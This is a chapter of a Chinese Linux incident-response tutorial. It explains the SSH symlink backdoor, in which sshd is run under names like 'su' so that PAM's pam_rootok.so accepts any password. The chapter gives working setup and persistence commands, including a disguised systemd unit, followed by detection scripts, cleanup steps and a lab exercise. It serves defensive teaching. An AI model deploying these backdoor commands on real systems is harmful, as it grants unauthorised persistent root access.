Linux应急响应 - 25 SSH软链接后门

SSH 软链接后门 — 利用 PAM 服务名匹配绕过认证

通过创建 sshd 的符号链接并以不同名称运行,利用 PAM 配置中的宽松认证规则实现任意密码登录

关联:16-SSH-authorized_keys后门 | 20-PAM后门

攻击原理

PAM 服务名匹配机制

Linux PAM 认证时,根据程序名称查找对应的 /etc/pam.d/ 配置文件

例如:sshd 进程使用 /etc/pam.d/sshdsu 进程使用 /etc/pam.d/su

关键点:PAM 根据的是进程名(argv[0]),而非可执行文件路径

利用链

  1. su 的 PAM 配置中包含 pam_rootok.so
1
2
# /etc/pam.d/su 的关键行
auth sufficient pam_rootok.so
  1. pam_rootok.so 的含义:如果当前用户是 root,认证直接通过(sufficient)

  2. 如果用符号链接将 sshd 链接为 “su”,那么:

sshd 进程名变成 “su”

PAM 使用 /etc/pam.d/su 配置

以 root 权限运行时,pam_rootok.so 让所有认证直接通过

结果:任何密码都能登录

示意图

1
2
3
4
5
6
7
8
正常 SSH:
sshd 进程 → PAM 查找 /etc/pam.d/sshd → 需要正确密码

软链接后门:
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=31337
"su" 进程 → PAM 查找 /etc/pam.d/su → pam_rootok.so (sufficient)
→ 以 root 运行 → 认证直接通过 → 任何密码均可登录

攻击实施

基本操作

1
2
3
4
5
6
7
8
9
# 创建符号链接(链接名决定 PAM 配置)
ln -sf /usr/sbin/sshd /tmp/su

# 启动后门 SSH(监听在非标准端口)
/tmp/su -oPort=31337

# 攻击者连接(使用任意密码)
ssh root@target -p 31337
# 密码: anything_works

利用其他 PAM 配置

不只有 su,任何 PAM 配置中有宽松规则的服务名都可以利用

1
2
# 检查哪些 PAM 配置有 pam_rootok.so 或 pam_permit.so
grep -rl "pam_rootok\|pam_permit" /etc/pam.d/

常见可利用的服务名:

服务名 PAM 配置中的宽松规则 利用方式
su auth sufficient pam_rootok.so ln -sf /usr/sbin/sshd /tmp/su
chsh auth sufficient pam_rootok.so ln -sf /usr/sbin/sshd /tmp/chsh
chfn auth sufficient pam_rootok.so ln -sf /usr/sbin/sshd /tmp/chfn
runuser auth sufficient pam_rootok.so ln -sf /usr/sbin/sshd /tmp/runuser

持久化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 方法1:写入 rc.local
echo "/tmp/su -oPort=31337" >> /etc/rc.local

# 方法2:创建 systemd service
cat > /etc/systemd/system/ssh-backdoor.service << 'EOF'
[Unit]
Description=System SSH Helper
After=network.target
[Service]
Type=simple
ExecStart=/tmp/su -oPort=31337 -D
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable ssh-backdoor

检测方法

网络层检测

1
2
3
4
5
6
7
8
9
# 1. 查找所有 SSH 相关的监听端口
ss -antlp | grep sshd
# 正常只有 22 端口,如果有其他端口就可疑

# 2. 查找非标准端口的 sshd 进程
netstat -antlp | grep -v ":22 " | grep sshd

# 3. lsof 查看 sshd 的所有监听
lsof -i -nP | grep sshd

进程层检测

1
2
3
4
5
6
7
8
9
10
11
12
# 4. 检查 sshd 进程的可执行文件路径
ls -la /proc/$(pgrep -f "Port=31337")/exe 2>/dev/null
# 如果指向 /usr/sbin/sshd 但进程名不是 sshd,就是软链接后门

# 5. 检查所有以 sshd 为可执行文件的进程
for pid in $(find /proc -maxdepth 1 -type d -name "[0-9]*" 2>/dev/null); do
exe=$(readlink "$pid/exe" 2>/dev/null)
cmdline=$(cat "$pid/cmdline" 2>/dev/null | tr '\0' ' ')
if echo "$exe" | grep -q "sshd"; then
echo "PID=$(basename $pid) EXE=$exe CMD=$cmdline"
fi
done

文件层检测

1
2
3
4
5
6
7
8
9
10
11
12
13
# 6. 查找指向 sshd 的符号链接
find / -type l -exec ls -la {} \; 2>/dev/null | grep sshd

# 7. 在常见隐藏位置查找
find /tmp /var/tmp /dev/shm /root -type l 2>/dev/null | while read link; do
target=$(readlink -f "$link" 2>/dev/null)
if echo "$target" | grep -q "sshd"; then
echo "[SUSPICIOUS] $link -> $target"
fi
done

# 8. 检查 PAM 配置是否被修改
grep -rn "pam_permit" /etc/pam.d/sshd 2>/dev/null

一键检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
echo "=== SSH 软链接后门检测 ==="
echo ""
echo "[1] 非标准端口的 SSH 服务:"
ss -antlp | grep -E "sshd|:22|:2222" | grep -v ":22 "
echo ""
echo "[2] 指向 sshd 的符号链接:"
find / -type l 2>/dev/null | while read l; do
readlink -f "$l" 2>/dev/null | grep -q sshd && echo " $l -> $(readlink -f $l)"
done
echo ""
echo "[3] PAM 宽松配置检查:"
grep -rn "pam_rootok\|pam_permit" /etc/pam.d/ | grep -v "^#"

清除方法

1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 找到后门进程并杀掉
ps auxef | grep "Port=31337\|/tmp/su\|/tmp/chsh"
kill -9 <PID>

# 2. 删除符号链接
rm -f /tmp/su /tmp/chsh /tmp/chfn /tmp/runuser

# 3. 检查并清除持久化
grep -n "su.*Port\|chsh.*Port" /etc/rc.local 2>/dev/null
systemctl list-unit-files | grep -i "ssh.*back\|system.*ssh"

# 4. 加固 PAM(可选:移除 pam_rootok.so 的 sufficient 标志)
# 注意:这可能影响正常的 su 操作,需谨慎

实战练习

配套实验:labs/11-persistence-ssh/(包含 authorized_keys、Wrapper、软链接三种 SSH 后门)

排查目标

  1. 发现非标准端口的 SSH 服务

  2. 追踪到软链接文件

  3. 理解 PAM 服务名匹配的利用原理

  4. 杀掉后门进程并清除符号链接


上一章 目录 下一章
24-Vim-Modeline后门 Linux应急响应 26-inetd与xinetd后门